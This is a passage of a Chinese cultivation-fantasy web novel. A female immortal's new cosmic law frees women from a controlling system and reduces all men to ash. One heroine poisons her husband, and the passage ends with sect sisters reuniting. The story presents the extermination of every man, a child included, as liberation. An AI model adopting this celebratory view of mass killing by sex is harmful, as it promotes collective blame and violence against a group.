世界在重塑。 看不见的大网被彻底粉碎,女仙们抹去脸上多余的胭脂,摔碎了手中的茶碗,扯去身上华而不实、只会限制她们动作的裙摆。 她们重新拿起了武器。 长剑、短刀、飞锤,重新指向了曾经压迫过她们的人。 秩序在重置。 鬼鬼祟祟扒在宋长云府邸门口的飞尘忽然感觉心口一阵剧痛,他低下头,眼前是一双枯老的手。 本就不多的修为在不断流逝,他看见远处天帝从不让他们靠进的地方闪出层层叠叠的光,像是镜子碎裂般哗啦啦落了一地。 他不明白究竟发生了什么,生命的最后,留下的,只有一声惨叫。 曾经险些被破云剑刺破眼球的男仙率领一众人浩浩荡荡地想要去找宋长云寻当日受辱之仇,却在半路齐齐倒了下去,痛苦、抽搐,最后化为一摊灰烬。 无人在意男仙的哀嚎,女仙们欢呼雀跃,她们感受到力量与头脑的回归,也察觉到了仙君们的苏醒。 仙界中原本汇聚着的混沌之气逐渐开始消散,稀薄的灵气渐渐开始复苏。 破茧而出的女人们逐渐恢复了自己的力量,她们站在一位高大的女人身后,一起助力仙界的重塑。 女人面上没什么表情,如从前一般无悲无喜,金印在她身上若隐若现,仙界从此有了一条新的规则。 三千世界中,男人再无成仙的可能。 仙界不会再接受男人。 这条消息通过随着仙界重塑而恢复的通道传往各个修仙界,男修们顿感晴天霹雳,他们大骂着曾经的李二众男,怒斥他把男人的路走窄了,一边哀求凌霄仙君收回这条规则。 凌霄仙君没有理会这些声音,她垂眸,看向了前来请罪的萧肃。 萧肃自知罪无可恕,她害了仙界数千年,牵连其它世界惨遭李二等人的毒害,甚至……害死了她的小徒儿。 在看到宋长云的那一刻,萧肃便知道自己的徒儿已经遭了难。 她最后传出去的那一点消息,有用,却也无用。她犯下大过,也没能保下最想保护的人。 她原以为打破仙界新乐园的会是应璃真,毕竟她是萧肃见过的最有天赋的孩子,毕竟自己最后传递出的消息,接收者是应璃真。 萧肃俯首叩拜,等待接受自己的惩罚。 “作孽的是他们,你何罪之有?” 仙君不解。 新的规则已经嵌入世界各处,金印回归仙君的身体。她挥手,将愧疚自责中的萧肃送走。 “罪人已死,你且回去好好修养吧。” 许久之后,凌霄出现在了一方空间。 此处如人间满天繁星的夜晚,浩瀚的天空中挂着无数繁星点点,每一颗星星都无比明亮。 只其中三颗稍显暗淡,若仔细看,能够在它们旁边看见极细小的、已经断裂的丝线。 那些丝线组合成一张大网,将星星牢牢裹挟在其中,致使原本明亮的星星变得黯淡无光。 随着丝线的逐渐湮灭,那几颗星星也在重新焕发它们原本的光彩。 凌霄抬手,灵力在她掌心涌出,而后分散成无数道耀眼的金光,飞向了天上的星星们。 - 某个修仙界中。 这里是“一号”来过的地方,它曾经是李二最为完美的作品。 齐浩瀚正低眉敛目听着丈夫的训诫,她恭敬应是,温顺贤淑,俨然早已忘记了曾经自己才是那个天赋绝伦的修者。 丈夫是与她同宗门的修者,他是掌门父亲看中的继承人,于是她听从母父之命,在最意气风发的年纪成亲。 在修者的漫长生命里,相夫教子。 此刻,是因为齐浩涵忤逆了婆母,丈夫因此斥责于她。 她如往常一般恭谦温顺,垂下的眼睛里依旧闪过一丝捕捉不住的茫然。 世界忽然动荡。 新的规则诞生,束缚住女人的旧规则随之瓦解。 以往一幕幕在齐浩涵眼前闪过,她终于意识到曾经无数次的茫然意味着什么。 是她被压抑的愤怒与不甘。 明明她才是独一无二的天骄,父亲却不曾想过将掌门之位传于她。 明明从前自己的天赋修为比他看上那个继承人强上数倍。 齐浩瀚抬头看向她的“丈夫”,见他眉头紧锁,眼里有慌张的茫然。 他对向来温柔顺从的妻子毫无防备。世界一瞬间的变化在他身上出现反馈,他感到自己的力量在流失。 他想呼唤妻子搀扶自己,却只感到额间剧痛。 他瞪大眼睛,最后映入眼中的,是妻子冰冷的目光。 齐浩涵拔出了短匕,淬了毒的短匕闪着寒光,她冷眼看着面前男人倒地。 她本该拥有更广阔的天地。 是他,是他们抢走了本该属于她的人生。 周围一片安静,齐浩涵忽地转头看向一棵树,后面藏着一个人。 是地上已经死去之人的母亲,曾经最为他肝脑涂地的存在。 齐浩涵握紧了手中的匕首,她走向了那棵树,却在风吹动的一瞬间看见了那人衣角的血迹。 于是她停住了脚步。 远处传来呼声,齐浩涵回头,一个小男孩从远处跑来,大哭着唤着爹爹。 齐浩涵的眼神变得复杂。 这是她生出来的孩子,却不是她的孩子。 他像极了他的父亲,一举一动像是一个模子里刻出来的。他从她腹中.出生,却不随她姓,更没有一点像她。 现在的齐浩涵不想承认他。 她握着手中的刀,想,如果她将这个孩子也杀了,树后的女人又会如何?她会像从前一样,还是如她一般清醒过来? 只是她还未来得及有所动作,正在奔跑的男孩突然停顿一瞬,随后瞪大眼睛,在毫无声息中变成了一捧灰烬。 齐浩涵怔忡一瞬,随机了然。 这是世界的新规则。 它会抹去曾经压迫过他们的男性,这个世界上存在的所有男人都将消失。 自然也包括她的父亲。 树后的人不知何时已经离开,齐浩涵没有理会,她运用体内的灵力,久违地召唤出了自己的本命法器,飞身前往宗门。 她要去拿回属于她的东西。 - 宋长云醒来时,仙界已经恢复如初。 整个仙界再无男仙的踪迹。有的只是被清扫走的一捧又一捧灰土。 睁开眼,眼前看见的是师祖。宋长云觉得她好像在看自己,又好像在通过自己看着别人。 她自然知道那个“别人”正是应璃真。 萧肃没有说什么,只是温和地笑着,轻声道:“好孩子。” 你们都是勇敢无畏的好孩子。 休养多日,宋长云身体已无大碍。她决定回去修仙界。 与师祖等人辞别后,宋长云前往神殿与仙君拜别。 世界恢复后,仙君没有再一次陷入沉睡。她无法长期干涉世间,于是将自己的府邸置于偏僻的空中,设下结界。 她们将空中的府邸称为“神殿”。 未经仙君允许她们无法进入神殿,宋长云在结界外拜别,转身回去属于她的世界。 神殿中的仙君睁开眼,无波无澜的眼中映出各个世界的景象,无数规则刻入金印。 往后,再不会出现此前景况。 - 沈春野刚从一个秘境中出来,她飞回青云宗,兴奋地扛着一只巨大无比的虫子奔往药峰。这种虫子全身都是宝,是炼药的好东西,药峰的师姐妹们肯定用得上。 从药峰出来时,沈春野的乾坤袋都变得鼓了不少。近几年她常往各种秘境跑,给药峰带回来不少稀罕“药材”。 沈春野没着急回家,一个人在青云宗晃了一圈,最后在一处山头上坐下,长腿伸开,大喇喇地后仰,抬头眯眼看着黄昏的太 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这更加点燃了她们的愤怒,她们为与这群毫无正确认知的人共同生活在同一世界而感到羞耻,即便是最为软弱的女人也举起了武器,毫不怜惜地杀死了试图反抗的男人。 直到新的规则诞生。 男人们在新规则下毫无反抗之力,他们身上的力量,不论是曾经从女人身上抢夺过来的还是被魔王赋予的都被尽数收回,最后和其它男人一起,变成了一堆又一堆的灰烬。 魔王的力量也随之弱了下去。女人们处理了逃窜而出为数不多的魔族,魔王的那缕意识同样也被杀死。 不知道是不是她们的错觉,在男人消失之后,魔窟中的魔们的能量似乎变得弱了许多许多。 魔承世间生灵堕念而生,生灵存在,魔族便杀不尽,魔王便不死不灭。从前即便有魔窟的封印在,靠进魔窟时也能感觉到滔天的魔气。如今魔窟周围却与其它地方无甚差别。 仙界在重塑,修仙界同样在重建。 女人们很快适应了新世界。 她们已经不在意男人是否存在,这是新的规则。即便不知道人类种族日后该如何繁衍,可那又如何呢,比起人类消失,她们更不想要有另一种性别始终压在自己的头顶。 新的规则还未结束,或许有一天,女人可以随着自己的意愿孕育新的生命。 沈春野惬意地晒着傍晚温和的太阳,身上从秘境中带出来的大大小小的伤已经在药峰时被师姐妹们上了药,这会儿已经好了大半。 她喜欢现在的生活,好像找到了失去已久的天性。 不只是她,动荡之后,沈春野发现许多女人身上都发生了或大或小的变化。 沈春野喜欢这种变化。 不知道师姐怎么样了。沈春野望着渐红的天空,觉得世界崭新的变化会与师姐有关。 她很想知道师姐在仙界都发生了什么,男人消失后……那仙界呢?他们也不会再存在了吧。 她正想着,忽然一顿。她坐直身体,眼睛定定地看着某处,随后眼里迸发出绚烂的光彩。 “师姐!” 她欢快地大叫着,飞身朝着那个方向奔去,毫无形象地撞进了从仙界回来的宋长云怀里。 她迫不及待地讲述修仙界这几年发生的事,也迫不及待地想知道宋长云在仙界的经历。 “仙君呢?仙君真的存在吗?新的规则是仙君定下的吗?” 宋长云惊讶于自家师妹的变化,她笑眯眯地将沈春野从头到尾端量了一遍,发觉沈春野在这段时间里不仅变得更加强壮,似乎还长高了一点。 她这才发现仙界与下界的时间流速并不一致。宋长云在仙界不过数日,修仙界却已经过去几年。 她仔细听着沈春野向她讲述的那些事,也将仙界的事情同她说了一遍。 并不是什么秘密,通道重新打开后,直到这件事情的人只会越来越多。 新乐园已经崩塌,现在是崭新而干净的世界。